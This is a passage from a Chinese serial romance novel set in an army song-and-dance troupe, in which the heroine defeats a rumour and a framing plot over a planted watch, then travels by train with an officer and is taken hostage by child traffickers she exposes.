“那你先吊嗓子吧,待会团长就要来了。” 文工团团长李雪是歌唱队出声,眼里容不得沙子,即便是走关系进来,也绝对不能没有一技之长。 沈棠在舞蹈上没什么天赋,但在唱歌方面倒是独具特色。 她的嗓音清亮又带了一丝软绵,唱出的歌颇有一种江南吴语,一出声就能把人所有注意力都吸引过去。 李团长宝贝的同时也给予厚望,可不会让她轻易过关。 沈棠颤着腿站起来,出去开嗓了。 过了一会儿,李团长就进了练功室,目光在众人之中巡视一圈:“许婷出列唱一下《我和我的祖国》。” 许婷的声音清亮厚重,这首歌又是她所熟悉的,几乎没有任何卡顿便完整的唱了出来。 “许婷,周五的演出还是你来领唱。” 许婷得到李团长的肯定,得意洋洋的看向沈棠。 听说军区这一次任务出的艰难,回来好几个人都受了伤,文工团肯定会在军区开展演出慰问士兵,到时候她必定是领唱。 沈棠声音再好听又能如何?还不是得给她作配。 李团长又点了沈棠的名字:“你来唱一遍《浏阳河》。” 沈棠还以为李团长是在考察她的功力,清了清嗓子便将首歌唱了出来。 李团长点了点头,沈棠的嗓子清亮而软绵,能够完整的将这首歌风格唱出来,这个音色即使是她听到,也会为之驻足脚步。 这也是为什么明明沈棠是通过跳舞进来的,但她却将人安排在歌唱队的原因。 “周五的演出,我想让你独唱这首歌,你多练习一下,上了台不允许出错,要是表现的好,咱们歌唱队就暂定你独唱了。” “凭什么!” 许婷站起身,这两年里领唱独唱的可都是她,也就是王晓雨来了她才会让点机会! 李团长脸色冷淡:“凭什么?凭人家比你唱的好。许婷,你告诉我今天你几点来的练功室?你有多久没有吊过嗓子了。 就一首《我和我的祖国》,你就唱的乱七八糟,连嗓子都没有开,也就是之前演出你没出过大错,不然你连领唱的资格都没有。” 许婷不服气:“就算如此,那也轮不到沈棠独唱,王晓雨就比她唱的好!” 说起这个,李团长脸色更差了:“我没给她机会吗?王晓雨第一次独自上台,紧张到音都破到天边去了,全军区都在嘲笑咱们文工团歌唱队是不是没人了,让个鸭公嗓上台,简直把我的脸都丢尽了!” 王晓雨被骂的眼泪都掉了下来,咬着唇死死盯着沈棠。 她本来打算用这次独唱洗掉之前耻辱呢,现在全被沈棠破坏了! 李团长看在师长的面子上,对许婷已经够包容了。 让她再包容一个王晓雨,她可不干:“别跟我说我没给过你们机会,机会是留给有准备的人的,要是沈棠这一次没唱好,半年内同样取消独唱资格。” 歌唱队的人本来也不多,沈棠的实力摆在那,即便许婷叫嚣着不服,也打消不了李团长的坚持。 沈棠拿到了独唱资格,心里的小人兴奋的转了几个圈,面上却依旧是那副清清冷冷,不骄不燥的模样。 看的李团长在直点头。 许婷气不打一处来,惯会装模作样! 她和王晓雨对视一眼,两人一拍即合,当天中午就去了家属院。 “你确定这个何秋不会说谎?”许婷虽然厌恶沈棠,但也不是蠢蛋。 她可是听说了,这个叫何秋的就是韩忠国未婚妻。 沈棠追韩忠国的事在文工团不是秘密,两人要是好朋友,又岂会争抢同一个男的? 王晓雨:“婷婷你就放心吧,何秋和沈棠是同学,这两人因为个男人闹出不少龃龉,咱们在她那打听点消息应该很容易。” 何秋被何春花赶出家门口,就直接住进了韩忠国家里。 家里三个孩子有两个上小学去了,她为了表现,将家里收拾的干干净净,累的她腰都快直不起来了。 这时候听到有人来找她,还是打听沈棠的家世背景。 她心里咯噔了下,但看到两人脸上那明显的不怀好意,心里顿时涌出隐秘的欢喜。 “棠棠家里……哎,作为她的朋友,有些话我也不好说,她家里以前还不错,还是知识分子呢,只可惜……” 许婷和王晓雨一下就明白她的意思了。 等沈棠练了一天歌和林晓去食堂吃饭,路过的人看她的眼神都是轻蔑和鄙夷的。 好似她是什么肮脏东西,连一惯对她和颜悦色的文工团男兵们都下意识远离她。 沈棠没管那么多,无外乎就是有人传了她的谣言,而谣言只要传到她面前,总会被打破。 “今天食堂竟然有红烧肉和红烧鱼。” 她语气雀跃,连林晓都听出来了。 中午她们俩去食堂晚了,只剩下些白菜、豆角,连肉渣子都没看到,可把沈棠馋坏了。 “有红烧肉和红烧鱼怎么了,买的起吗?” 她们后面有个男兵出声嘲笑。 第一卷 第13章 谣言闹大 沈棠回过头,见男人身高一米七左右,脸上还有几颗青春痘,她从记忆力扒拉出来这个人来。 文工团的刘志,上个月跟原身表白被拒,之后便一直看不惯原身,总在原身面前蹦跶。 林晓也知道这事,拉了拉沈棠:“别理他,癞蛤蟆吃不着天鹅肉,就想把天鹅贬成小白鸭,殊不知有些人连小白鸭都吃不到。” 沈棠认真点头,林晓被她这副乖巧的模样可爱死了。 她怕沈棠拿不出钱,还想帮她付了。 没想到沈棠直接要了两个荤菜,口袋里一掏就是一把大团结。 吓的林晓连忙帮她挡住视线,这么一大把钱,要是被人看见了指不定要起什么心思了。 防人之心不可无。 沈棠端着饭菜,看林晓挡在她身后,疑惑问:“怎么了?” 林晓:这姑娘真心大啊。 身后的刘志看沈棠买了两个菜,一口气堵在嗓门里,见她们二人走了才忍不住出声嘲讽:“打脸充胖子。” 文工团和部队的军官们是一个食堂,里面的桌子都是圆形的八人桌。 沈棠刚端着饭菜走到一张只有四人的桌子旁,就见那四人齐刷刷的起身走了。 “我才不跟臭老九的后代坐一起吃饭,空气都被污染了。” “就是,装的倒是阔绰,还买两个荤菜呢,指不定明天就要吃窝窝头过日子了。” “哈哈,说不定连窝窝头都买不起。” 林晓慢了一步,听到那些话直蹙眉头。 “你才打了这点菜,够吃吗?要不我分些红烧肉给你。” 沈棠对新交的饭搭子很满意,长的漂亮身材又好,和她一样都不是话多之人。 简直没有比这更好的饭搭子了。 林晓看她没心没肺的样子,摇头拒绝:“我不能多吃肉,容易胖,你刚刚没听见她们在说什么吗?” 沈棠见她拒绝,也不强求,夹起一块红烧鱼吃的眼睛眯起。 “听见了,要不是听见他们这么说,我都不相信这世上还有这么蠢的人,听风就是雨,也不想想我要真是臭老九的女儿,早就被下放了,还能通过政审来文工团?” 林晓点头:“也是,这传谣言的人太过分了,你想好怎么解决了吗?” 沈棠笑了笑:“和我有仇的,无外乎就那么几个,我大概能猜到是谁在背后中伤我,放心,我有办法,但今天不能解决,再过两天等事情闹大了才好。” 两人吃过饭就回了宿舍。 沈棠见宿舍里的人都不搭理她,也乐的自在。 许婷倒是想嘲讽,但也不知道和王晓雨在打什么坏主意,硬生生将自己的脾气压了下来。 三天过后,沈棠是臭老九女儿这一谣言已经传的满天飞。 那些曾经想在路边偶遇她的男人都不见了。 沈棠才清闲几天,就被听到消息的贺旭拦在了食堂门口。 男人硬朗的五官帅气锋利,绿色的衬衫露出性感的喉结,黑色的皮带叩紧蜂腰,一双笔直的腿显得尤为长。 把沈棠都看羡慕了。 贺旭睨了她一眼:“军区都在传你谣言,你就不会辩上两句吗?” 沈棠摇头:“辩驳没有用,只会让别人觉得我在狡辩罢了。” 贺旭眼睛微眯,语气有些冷:“文工团谁在欺负你?” 沈棠诧异于他话里的认真,开玩笑:“贺营长是要帮我出气吗?” 贺旭和她对视上,那锐利的黑眸里明明白白的告诉她,有何不可? 沈棠心里升起一丝异样,下意识移开了视线。 颜控的她确实对贺旭有些好感。 沈棠在默念了句这男人是个抠搜,不能动心。 “这事我可以自己解决,明天演出,贺营长要来看吗?” “不去。” 贺旭听到她说能解决便收回了视线,从她身边走过:“需要我帮忙就让人来找我,别和个怂包似的被人欺负了也只会往肚子里咽。” 沈棠心里的小人骂骂咧咧:“你才怂包。” 她将贺旭的事放在一边,让林晓先回了宿舍,一个人去了师长家里。 等到下午练歌之时,她一进练功室,周围的人立刻用意味深长的眼神看她,还拉着身边的人远离她。 “臭老九来了,我可不要和她站在一块,走走走,去那边。” “这种人怎么好意思来咱们文工团的,平日里装的那么高冷,我还以为她是哪家大小姐呢。” “结果是臭老九的女儿,你说好不好笑?” “小声点,万一被她听见了怎么办?” “听见了就听见了呗,臭老九的女儿我骂了两句怎么了?” 沈棠默默吊嗓子,饭搭子都找到了,她才不稀罕和她们结交。 刚练习了一遍《浏阳河》,不远处忽然响起许婷尖锐的声音:“我的手表不见了!” “你们谁拿了我的手表,那可是上海牌的,赶紧给我拿出来,不然被我找到,就按偷窃罪定论!” 众人手上的动作全停了下来,没一个站出来的。 就在这时,一个姑娘小声嘀咕了句:“我来文工团一年了也没出过这种事,还能是谁,除了那个臭老九谁会偷东西啊。” 许婷立马看向沈棠:“是不是你,赶紧我拿出来。” 沈棠静静的看着她:“手表在不在我的包里,你应该最是清楚吧。” 许婷眼神乱了一下,随即怒斥:“我怎么知道,想来你一个臭老九的女儿从来没有见过这等好东西,看到我戴了就忍不住拿了吧,都是一个宿舍的,你要是承认错误,我就不计较了,赶紧还我,不然把你卖了也赔不起。” 沈棠嗤笑:“我反正是没拿的,但东西要是在我包里,那我可就得请师长过来主持公道了。” 许婷听到她的话简直要笑疯了:“好呀,你请得动师长吗?” “怎么回事?” 李团长一进来就见大家都围着沈棠和许婷,练舞的、吊嗓子的都不在自己的位置,眉头紧锁得都快夹死苍蝇了,可见心情之差。 许婷先一步告状:“我怀疑沈棠她偷拿了我的手表,团长,我请求搜她的包!” 第一卷 第14章 反击 李团长满脸诧异:“你确定?” 许婷昂着头:“团长,我知道你偏心沈棠,但我的手表可是上海牌的,手表票一票难求,要是丢了,我大姨一定会将事情调查到底。” 李团长摇头失笑:“不是我觉得慌缪,而是人家沈棠明显就不缺这个手表,她……” 王晓雨出声打断:“是不是沈棠偷的,查一下她的包不就清楚了。” 李团长也是从文工团女兵慢慢爬上来的,到她这个年纪,若是连这点把戏都看不出,也妄为这么多年的文工团经历了。 她正犹豫着要不要先把事情压下来,就听沈棠开口:“团长,我同意。” 王晓雨勾起唇角,果然是个蠢货。 手表可是她亲手放进去的。 她的视线一直关注着她的包,她敢肯定,那只手表就在她的包里! “但我有个条件,未免有的人动手脚,还请团长帮忙请潭师长过来一趟,我希望能当着师长的面查看我的包。” 李团长听到沈棠后一句话,眉头紧锁了起来:“沈棠,这只是一件小事,何必闹的师长面前去?” 沈棠倔着性子坚持:“团长,不仅仅是因为这件事,还有关于造谣我是臭老九女儿一事也需要有个交代。” 李团长和沈棠的小姨关系还不错,自然知道周玲那曲折的身世。 沈棠的家世她不了解,但连贺旭都要关照人家几分,那能是臭老九的女儿? 这些谣言她听了根本没放在心里,谁知道会闹的这么大。 许婷见李团长犹豫,还以为她在偏颇沈棠,立马嚷嚷着让她去请。 一个是潭师长的侄女,一个是一团政委的侄女,都闹着要请师长来主持公道,李团长只好让林晓管着纪律,自己去请人了。 许婷见沈棠真的要找她姨父,忍不住嘲讽:“有的人啊,就是不到黄河不死心。” 林晓安慰沈棠:“别理她,你姨父不会看着你被冤枉的。” 上海牌手表昂贵,又是潭师长的侄女丢了东西,被怀疑的人是方政委家的侄女,这事闹这么大,文工团的众人谁也不敢离开,生怕被波及。 潭师长不是一个人来的,身后还跟着贺旭和方政委。 许婷红着眼眶凑上前:“姨父,我被人欺负的好惨啊。” 潭师长脸色铁青,绕过她站在众人前面:“事情我已经听说过了,既然许婷丢了手表,各位也没有出过练功室,单独搜一人不妥,干脆就全搜了吧。” 许婷脸色一白,姨父这是什么意思? 这不是让她得罪人吗? 潭师长的话一出,果然刚刚还在看好戏的众人脸色立刻就变了。 有人小声嘟囔:“也不用全搜了吧,咱们文工团就一个臭老九的女儿,只有她才会做出这样丢人的事,搜我们干嘛?” 贺旭锋利的目光一下就锁定住了说话的人:“这位同志,你说谁是臭老九的女儿?” 刘志被看的汗流浃背,他刚刚说话那么小声,这人耳朵怎么会这么灵? 他见众人都看着自己,梗着脖子大声说了出来:“沈棠是臭老九的女儿,全军区都这么传,难道还有错?” 贺旭眼神冷冽:“我和沈棠是一起长大的,我怎么不知道她是臭老九的女儿?如果她是,那政审又是怎么过的,看来文工团的人连是非都分不清啊。” 李团长脸色极差,今天他们文工团的面子算是丢尽了。 刘志脸色一白:“可、可是这是许婷说的!” 许婷连忙否认:“我没有,我怎么知道沈棠的家庭情况?” 她听到贺旭帮沈棠说话,心里又嫉又妒,但显然也反应过来她和王晓雨可能被何秋耍了! 王晓雨可比许婷聪明多了,她在听到何秋那似是而非的话就已经猜测到何秋可能说谎了,所以她才急着让李团长给沈棠定下罪。 哪想到沈棠直接找了潭师长,许婷这个蠢蛋还督促李团长去请师长。 她难道不知道潭师长最是厌恶有人打着他的关系为非作歹吗? 王晓雨小声提醒:“就算沈棠不是臭老九的女儿,也不能证明不是她拿的手表。” 许婷眼神一亮:“对,姨父,不是说要搜所有人的包吗?赶紧搜吧。” 潭师长对她失望至极,他想不通妻子口中那个乖巧又听话的侄女,怎么会是这个样子。 在背后散布谣言,恶意陷害他人。 还暗中利用自己的身份打压别人。 要不是今天中午沈棠二话不说就跑到他办公室里哭,他都不知道军区众人竟然会被一个谣言耍的团团转! 沈棠原本想等师长搜出来手表后再为自己辩驳,事情闹的越大,才能让许婷受罚更多。 但贺旭却像是知道她要干什么,对着她微微摇了摇头。 沈棠忽然意识到,自己这点小把戏不仅贺旭看出来了,估计潭师长和李团长也已经猜测到了大概。 长辈们最讨厌什么? 当然是小辈们勾心斗角,还故意牵扯无辜的人进来。 她主动站了出来:“师长,从谣言到现在手表丢失,想来您已经知道是谁在背后陷害我了,您不用让人去搜别人,我估计那手表应该在我的包里。” 许婷指着她咋呼:“姨父你看,她承认了!” “闭嘴。”潭师长呵斥完,瞪了一眼贺旭。 后者不闪不避,含着笑意看过去。 “凭什么要我闭嘴,她都承认是她偷了我的手表!”许婷嚷嚷出声。 沈棠才不惯着她:“我可没承认偷你的表,我的包从进了练功室就没有打开过,这期间有谁拿了你的手表故意陷害我,你心里一清二楚。” 许婷:“谁会陷害你,你别胡说八道!” 沈棠挑眉:“我忘记告诉你了,今天中午我不小心把背包掉进了宿舍那边写标语的红漆桶里,所以今天谁摸了我的包,手上必定有红色油漆。” 她早就知道这俩人打的什么主意。 无非就是演出前一天陷害她,到时候李团长找不到可代替的人,就只能赶鸭子上架让王晓雨上台。 她可是暗地里观察了她们整整三天,大半夜的不睡觉偷听两个人在床上商量怎么对付她呢。 反击步骤她都在心里演练过十几次了! 沈棠内心的小人叉着小肥腰,得意翘起了二郎腿。 王晓雨瞳孔一缩,下意识把手收了回去。 大概是她的动作太过突兀,众人都朝她看了过去。 沈棠注意到她衣角上擦出的红印,憋住笑,努力做出凶巴巴的样子:“原来是你啊。” 第一卷 第15章 沈同志,我能请你看电影吗? 沈棠将自己的包从墙角拿了过来,文工团的人不愿意和她放在一起,将柜子上的位置全霸占了,她只能放到角落边,阳光被遮住的时候,还以为她的帆布就是有两种颜色呢。 王晓雨第一次做这种事心虚的很,摸到她的帆布袋口时其实已经发现了不对,她是有机会罢手的。 但她还是赌了。 赌沈棠不知道她和许婷的计划。 此刻,她冷汗连连,抬眼望向许婷,后者眼神闪烁不敢看她,显然将她当成了弃子。 王晓雨勉强稳住心神:“我想起来了,是婷婷让我帮她拿手表放进包里,可能是我太急了,放错了,对不起沈棠,这件事是我们误会你了。” 许婷:“对对对。” 两人的借口漏洞百出,文工团的人看她们二人眼神全是憎恶。 合着这两人耍着他们玩呢! 他们文工团怎么会有这样的人在? 贺旭不着痕迹的添了把火:“沈棠的包都放到角落了,离柜子有一米远,这也能放错的话,那眼睛不得是瞎了?” 潭师长又瞪了他一眼,这小子不会说话能不能别添乱? 不知道的被陷害的是他媳妇呢。 平日里也没见这么多话。 “事情原委我已经清楚,许婷和王晓雨造谣并构陷文工团沈棠同志,给予通报批评,记一次大过,并写八百字检讨张贴,澄清谣言,再有下次直接退回。” 许婷脸都白了,整个人都在摇摇欲坠。 完了,她的提干指标、她的大学梦都没了。 事情解决完,沈棠找到李团长,提出换宿舍的要求。 李团长没有同意,文工团的宿舍本来就不多,每个宿舍都挤满了人,她要是换宿舍的话,就必须要另一个人同意跟她换。 现在人人都知道她们宿舍有两个害人精,哪会人跟她换? 沈棠无奈,只能暂时住着。 由于许婷记了一次大过,大合唱主唱人选换成了另一个歌唱队女兵。 许婷和王晓雨连上台的机会都没有了。 当天早上天气极好,明媚的阳光裹着微风,底下坐满了穿着绿色军装的战士。 舞蹈团准备演出的是《沙家浜》,林晓和一众舞蹈团的人站在台下,瞧见沈棠蹲在角落里背词,不由一笑:“紧张了?” “谁、谁紧张了?” 沈棠结结巴巴的说完,内心的小人咬着帕子哭唧唧。 死腿,你别抖啊! 果然人不该高调,如果现在她是大合唱里面的一员,她都不知道她会是个多么幸福的小孩。 林晓也没能安慰她几句,因为她们舞蹈团要上场了。 等林晓他们表演完,沈棠深吸一口气,满脸严肃的走上场。 底下的郝运激动的给她鼓掌,手都拍红了。 忽然肩膀被拍了下,他侧头一看,笑容僵在嘴边:“营长,你不是说不来吗?” 贺旭来的时候已经没有位置了,当然,作为瘸腿的郝运同样没抢到位置,只能站在角落。 “顺道。” 贺旭是不会承认自己昨天回了宿舍后,又做了一夜春梦。 梦里的姑娘通红着眼眶,声音软绵勾人,他白日里有多压抑,夜里就有多疯狂。 他清楚自己该远离沈棠,却又清醒的沉沦在她一颦一笑之中。 控制不住、下意识的往她所在的方向靠近。 随着音乐的响起,如江南烟雨般的声音响彻在众人耳朵里。 尽管这首歌他们已经听了无数遍,可听到这样清亮缠绵的声音,还是忍不住沉溺进去。 郝运一脸花痴,听的如痴如醉,忽然他激动道:“营长,沈同志是不是往我们这边看了?” 台上姑娘眼神坚定的仿佛要入党,凝视着远方,若不认真看,还真以为她是在看他们。 贺旭心里轻啧了声:“有没有一种可能,她谁也没看?” 怂的嘴巴都瓢了,也就是大家沉浸在她的声音中没关注而已。 郝运:“我不听。” 只要不是本人解释,那就是看了。 说完,他还拐杖都不拄了,单手拿着一束花,跳着腿远离了贺旭这个瘟神。 贺旭:“……” 台上的沈棠唱完,内心的小人焉哒哒的躺在地上:完了,这回是彻底的完了。 她嘴瓢了两下,不仅走调了,还唱错字了。 不过底下的人应该没听出来,掌声比之前林晓她们演出完还要热烈。 她战战兢兢的走下台,见到李团长刚要认错,就听李团长笑着说:“还行,再接再厉。” 沈棠内心小人一下子就活了过来。 嘿嘿,又混过了一天。 “方政委已经跟我说了,你要请半个月的假是吧?” 沈棠:“对。” 李团长看她这次表现的不错,就同意了:“行,待会我给你写介绍信,不过你现在是歌唱队的独唱,即便我批准了你请假申请,你也不能闲下来,改吊嗓子一定要好好吊,练习一点都不能落下,这次在台上出的错,下次不能再犯,听清楚了没?” “是,我绝不辜负团长对我的期待。” 李团长这么好说话,是因为下下个月就是国庆了。 九月要准备的节目很多,但沈棠是个新人,合唱团的领唱之位李团长还不敢轻易交给沈棠,所以才会批准了假条。 交代清楚了沈棠不足之处和请假之后需要练习的歌曲,李团长心满意意足的走了。 沈棠刚松了一口气,一回头,差点撞上一束从山地里刚采上的野花。 “沈同志,你唱的真好。”男兵黝黑的脸上满是羞涩,有些紧张的询问:“我可以请你看电影吗?” 文工团的人纷纷冒出个头来看戏,这年头约人看电影,等同于表白。 沈棠有些羞涩的盯着他脸和身材看了下,长的还行,身高也不错,便打算接过他的花了解一下。 反正要相亲,多了解应该是没有错的。 郝眼好不容易拄着拐杖到来,看到这一幕整个人都心碎了。 “补药啊!” 第一卷 第16章 和贺营长的谣言还是可信的 郝运心急如焚,正打算让贺旭给他出个主意,谁知转头一看,刚刚还挂着笑的贺营长此刻脸阴沉的吓人。 尤其是那双黑色瞳眸,冷的如山巅之雪,刺骨寒风,仿佛要把眼前的男兵给吃了似的。 下一秒,他手里的花就不见了,转头就看见某个男人先一步把男兵手里的花抢了过来,还把他的花塞进了小姑娘手里。 “抱歉,沈同志暂时没有时间和人看电影。” 郝运原本还在失落,一看这修罗场,立马在失落和八卦之间选择了八卦,三下做两步,跳着腿跑到男兵面前。 “对,沈同志和咱们贺营长要回首都了。” 文工团的人哗然,有了沈棠之前的谣言,他们听到贺营长爱慕沈棠谣言时也没敢多信。 结果这两人要回首都见家长了? 沈棠拿着被强塞进手的花,一脸懵的看着面前三个男人。 话好像没错,但怎么听着就那么不对劲呢? 男兵看沈棠没否认,眼眶都红了,最后朝着她鞠了下躬:“对不起沈同志,是我打扰了,祝你和贺营长幸福!” 沈棠:“啊?我和贺营长不是……” “回首都的票我已经买好了,明天我去方政委家接你,不是要去李团长那拿介绍信吗?我送你吧。” 贺旭静静的看着她,硬朗的五官没什么情绪,却让沈棠莫名的感觉到一股冷意。 “好、好的,票多少钱,我还你。” 她可记得贺旭因为那鸡汤钱盯着她看了好半天呢。 少女捧着花,扬着清丽的小脸冲他笑的明媚,许是因为上了妆,粉嫩的唇好似润了层水光,引诱着人想要一亲芳泽。 贺旭眸色微深,喉咙滚动了两下,微微移开视线:“不用。” 沈棠歪了歪头,浅褐色的潋滟瞳眸满是诧异。 难道是她误会他了,这人并不抠搜? 可他连一块钱医药费都要回去了,怎么鸡汤钱和火车票钱又不要她还? 贺旭被她看的耳尖发红:“你年纪还小,就算要相亲也不要着急,刚刚那个男兵就不行,家里是农村的,级别还不能在家属院申请房子,工资也不高,要什么没什么,嫁过去只能受苦。” 沈棠知道他是在为自己好,如月色清冷的琥珀眸子满是纯真和感激:“我知道了,谢谢贺营长提醒。” 忽的听见身后有人叫她,回头看了一下,见是林晓,便笑着对贺旭说:“不劳烦您送我了,我和朋友一起去就好了,下次请你吃饭。“ ”贺营长,明天见。” “明天见。” 贺旭望着小姑娘轻快的背影渐渐消失,一回头,就被郝运那张大脸吓了一跳。 “你干什么?” 郝运磨了磨牙:“你拿着我的花,送给我心仪的姑娘,你还问我干什么?有你这么做兄弟的吗?” 贺旭:“下次赔你一束。” 郝运瞪直了眼睛:“那是花的事吗?贺大营长,作为你的兄弟,我还是要提醒你一句,喜欢就上,找那么多借口干嘛?人小姑娘爱慕者众多,指不定哪天有你后悔的。” 贺旭薄唇抿成一条直线,长睫之下的黑眸满是嘲讽:“贺家的情况你又不是不知道,沈家可看不上我。” 郝运眼睛唰的一下亮了:“那我来……” “滚!” — 不知道何时起,军区不少人都在传贺旭和文工团一枝花沈棠要回首都见家长。 彼时的沈棠正在小姨家收拾行李。 小小的箱子,装满了小姨送给她母亲的土产品。 放假在家的方红莲牙龈都要咬碎了,依依不舍的看着他们舍不得吃的熏肉和腊肠被她妈塞进了沈棠的箱子,偏偏半句话都不敢说。 临走之前,周玲还在叮嘱她一定不要把钱全放在行李箱里,口袋分三个,各个都装一点,免的被人偷了。 沈棠坐上车,才终于松了一口气。 贺旭瞥了一眼:“知道为什么周婶子这么喜欢你吗?” 沈棠有点羞涩:“我讨人喜。” 贺旭:“……是因为周婶最崇拜沈阿姨。” 贺旭口中的沈阿姨便是她的母亲。 想到之前家属院传的谣言,沈棠一直以为是假的,听贺旭的话,似乎其中还有其他事? “那时战乱,你外婆带着周姨与周家人走散,改嫁给了一个地主,后来你外婆去世,十八岁周姨才被找回周家,但周老爷子已经再娶,对大字不识的周姨并不关心。 是你母亲出面,带着周姨去了沈家,后来还坚持让她上了学,养到二十二岁才嫁人。” 沈棠回忆起周老爷子与后娶的那位生了一个儿子,不仅平庸还惯会装模作样,生的一对儿女小小年纪就嚣张跋扈,总明里暗里的欺负原身,周老爷子还不明辨是非,总说是原身的错,让原身让着些弟弟妹妹。 她心里怒火就忍不住上升。 她缓了缓,随口问了句:“你在家属院怎么不叫周姨?” 然后她就见贺旭看她的眼神仿佛在看傻子。 沈棠反应过来,尴尬的耳尖发红,轻咳了声望向窗外。 看到小姑娘羞涩的脸,贺旭唇角也微微上扬了下。 前头的司机小李吃了一脸瓜,感受到后座两人暧昧的气氛,心底的欢快声绕过了十八弯。 传闻不可信,但发生在贺营长身上的传闻还是有点可信的。 毕竟不可信的都被他当场否认了。 到了火车站,贺旭帮沈棠提着行李箱,怕她被人群冲散,上火车的时候还紧紧抓着她的手腕,愣是把她从拥挤的走廊中一路护到了软卧包厢。 包厢一共四个床铺,贺旭把行李放好,从包里掏出一条薄毯,爬上上铺铺好。 这时候,车厢门被推开,一对夫妇和抱着一个两三岁的孩子往车厢里看了一眼。 女的有些苍老,男的看起来倒像个慈和好人。 能买到卧铺票的,身份都不一般。 沈棠看他们应该是一对夫妇,也没多注意。 倒是那抱着孩子的女人一看到穿着军装的贺旭,眼神慌了下,连忙道:“不要意思,走错包厢了。” 后面的男人也埋怨了句:“都告诉你不是这间了,你非不信。” 两人说着话离开了包厢,沈棠还以为他们真走错了,便收回了视线。 正在铺床的贺旭习惯性的多看了两眼,眉心不自觉拧紧。 没过多久,包厢里另外两人到了。 一男一女,拿着公文包,衣着简洁干净,看起来像是出差的行政人员。 第一卷 第17章 被挟持 女人瞧见身姿如松柏的贺旭,一双眸子微亮:“同志你好,你是准备去首都吗?” 贺旭淡淡点了下头,没怎么理会她,从背包里拿出一个用油纸包好的油酥递给沈棠:“先垫垫肚子,等会我看看餐车上有什么吃的。” 女人这才注意到上铺还有人。 小姑娘探出头,露出白皙的皮肤和精致的五官,衬得整个车厢都仿佛明媚了几分。 “好吃吗?” 她来这个时代还没吃过油酥呢。 贺旭笑了:“怎么,你家虐待你了?” 油酥这个东西,她只怕吃腻了才是。 沈棠有些懊恼,她这张嘴说话怎么就不过脑。 “我的意思是,是不是贺大哥手里的东西格外好吃?” 贺旭耳尖发红,瞪了她一眼:“胡说什么,快点拿着。” 沈棠见他没给好脸色,瘪瘪嘴将东西拿上了床铺。 旁边的女人瞧见这一幕冷笑了下,年纪不大,勾人倒是有一手。 “到了中午,餐车那边会有专门的人提醒,不用特意过去看的。” 女人说话带着一股洋洋得意的嘲讽,显然是对贺旭刚刚没给她好脸色的事记在心里。 和她一同来的男子嗤笑了声,隐晦看了一眼沈棠,有意无意的打探:“这位同志你是军人吗?看你年纪不大,应该还是新兵吧,上铺的姑娘是你妹妹吗?” “两位是不是话多了点,上铺的姑娘是不是我妹妹关你们什么事?” 贺旭黑眸泛着冷意,一身桀骜不训的压迫气势明显不好惹。 两个说话的人见此也不敢再打听什么,闭了嘴巴去收拾行李了。 第一次在火车餐厅上用餐,沈棠大方的请了贺旭一顿。 饭菜虽然有些小贵,但肉用的很是扎实,不仅有溜肉段还有辣子鸡,吃的沈棠开心极了。 两天时间一晃而过,沈棠睡的腰痛背痛,见床铺下的贺旭去打热水了,便从包里拿出几本书和几张报纸看了起来。 她写了那么多年小说,从来没有停更过,这突然一下停了下来实在有些不适应。 几本书后面都有寄信地址,她打算了解全每个出版社的风格后,再选定几个适合自己的出来投稿。 忽然,包厢们被敲响,睡在另一边上铺的女人很不耐烦:“谁啊,敲什么敲?” 这么礼貌敲门也就只有乘务员了。 沈棠看上铺的女人衣着没有不蔽体,将门打开,果然见到两个穿着警服的乘务员。 “不好意思,打扰一下,是这样,火车上出现人贩子,有一对夫妇丢了孩子,我们正在排查。” 上铺的女人一听,气不打一处来:“所以你们是怀疑我们偷了孩子?你们也不看看我们什么身份,会是人贩子吗?” 下铺的男人推了推眼镜,神情微傲,显然也是认可女人的话。 女乘警连忙道歉:“还请谅解一下,我们也是按规定行事。” 上铺的女人哼了声,忽然像是想起了什么,从上铺爬了下来:“你刚刚说火车上丢了孩子,孩子几岁了,长什么样,再哪丢的,他父母呢?” “忘记告诉你们了,我是记者,我想去采访一下丢失孩子的父母,看看有什么是我能帮助的。” 乘警见她真想帮忙,便告诉了她丢失孩子的父母位置。 离他们车厢不远,就在硬卧那边。 乘警核对了他们的身份便离开了。 沈棠等了一会儿,见贺旭迟迟没有回来,又想上厕所,便把包里重要的东西拿在身上出了包厢。 刚到厕所边,就瞧见了那位自称记者的女人正拿着笔不停的询问着丢失孩子的父母。 正巧,丢失孩子的父母就是之前差点走错他们包厢的那对夫妇。 上完厕所,沈棠顺道就去接了点热水,回来的时候差点被过道上躺着的人绊倒。 女人蓬头垢面,眼神凶煞的狠狠瞪了沈棠一眼,很快旁边苍老的男人给拉住了。 “不好意思,她脑子有点问题。” 男人衣服缝缝补补,灰扑扑的又脏又破,领口遮住了半边脸,一双看着就令人不适的三角眼几乎黏在了沈棠身上。 沈棠一阵恶寒,转头就要离开,忽然瞥见放在男人脚边的尿素袋好像动了一下。 她以为自己看错了,又多看了两眼,正当她以为是自己产生了错觉时,尿素袋真的动了下。 隐隐约约映射出的样子,好像是小孩。 沈棠身边没有人保护,不敢莽撞的和人对上,便假装什么都不知道去找乘警。 偏偏有个前头正在采访的女人看到她,一下子就拦住了她的去路:“你在外面晃什么呢?知不知道现在查的严,你这样乱走是会耽误乘警调查的。” 沈棠贼烦这人:“我找我哥,赶紧给我让开。” 女人嗤笑:“你哥是军人,这种时候当然是在帮忙找人啊,你过去只会添乱,我看你还是赶紧回包厢吧。” 见女人迟迟不放行,沈棠也恼火了,可就在这时,火车慢了下来,似乎就要到站了。 那两个人背起东西,跟随着人群往下车的位置走。 沈棠之前没看不清那两人的脸,怕他们走下车就认不出了,赶忙推开女人冲乘警喊话:“快把那两人拦住,我怀疑尿素袋里的是小孩。” 包厢里两侧乘警一听,迅速赶来去拦那两人。 刚刚还拉着她的女人也迫不及待的挤了上去,想拿到第一手信息。 却不想被沈棠叫破身份的两个人贩子反应极快,瞧见火车门口和身后都有乘警,竟直接从口袋里拿出刀冲着沈棠和女人这边袭来。 女人吓的腿一软愣在了原地,沈棠见事情不妙,快步上前试图将人拉回来。 却不想刚刚还被沈棠拉起来的女人一看到人贩子手里的刀子,惊叫一声,直接将她给往后一推,自己连滚带爬的往车厢人群里后退。 那一瞬间,沈棠脑子里一片空白。 第18章 别怕,我在! 直到脖子上的痛传至脑海,沈棠才回过神来。 恐惧和害怕袭上心头,她开始后悔刚刚为什么要去拉那个素不相识的女人,早知道如何,她管她去死呢。 “沈棠!” 赶来的贺旭看到这一幕,心脏都快停止跳动了。 幸好那人的目的并不是为了杀人,而是为了挟持人。 “贺旭。” 沈棠看到熟悉的人,忍不住红了眼眶,泪水如珍珠断裂颗颗坠落。 